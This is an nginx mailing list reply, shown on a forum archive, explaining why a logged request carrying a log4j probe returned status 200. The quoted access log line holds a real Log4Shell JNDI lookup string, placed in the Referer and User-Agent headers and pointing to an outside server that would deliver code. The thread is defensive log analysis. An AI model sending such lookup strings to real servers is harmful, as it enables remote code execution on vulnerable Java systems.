Welcome! Log In Create A New Profile

Advanced

Re: 200 html return to log4j exploit

Francis Daly
December 20, 2021 04:20AM
On Sun, Dec 19, 2021 at 08:02:08PM -0800, lists@lazygranch.com wrote:

Hi there,

> I don't have any service using java so I don't believe I am subject to
> this exploit. Howerver I am confused why a returned a 200 for this
> request. The special characters in the URL are confusing.
>
> 200 207.244.245.138 - - [17/Dec/2021:02:58:02 +0000] "GET / HTTP/1.1" 706 "${${lower:jndi}:${lower:rmi}://185.254.196.236:1389/jijec}" "${${lower:jndi}:${lower:rmi}://185.254.196.236:1389/jijec}" "-"

The request was "GET / HTTP/1.1".

A 200 return for that is quite normal.

> log_format main '$status $remote_addr - $remote_user
> [$time_local] "$request" ' '$body_bytes_sent "$http_referer" '
> '"$http_user_agent" "$http_x_forwarded_for"';

The "please be exploited" parts are in the $http_referer and
$http_user_agent parts of your log line.

(And so, are presumably in the matching request headers.)

Cheers,

f
--
Francis Daly francis@daoine.org
_______________________________________________
nginx mailing list
nginx@nginx.org
http://mailman.nginx.org/mailman/listinfo/nginx
Subject Author Posted

200 html return to log4j exploit

gariac December 19, 2021 11:04PM

Re: 200 html return to log4j exploit

Francis Daly December 20, 2021 04:20AM

Re: 200 html return to log4j exploit

Jay Caines-Gooby December 20, 2021 12:52PM

Re: 200 html return to log4j exploit

gariac December 20, 2021 02:10PM



Sorry, only registered users may post in this forum.

Click here to login

Online Users

Guests: 117
Record Number of Users: 8 on April 13, 2023
Record Number of Guests: 421 on December 02, 2018
Powered by nginx      Powered by FreeBSD      PHP Powered      Powered by MariaDB      ipv6 ready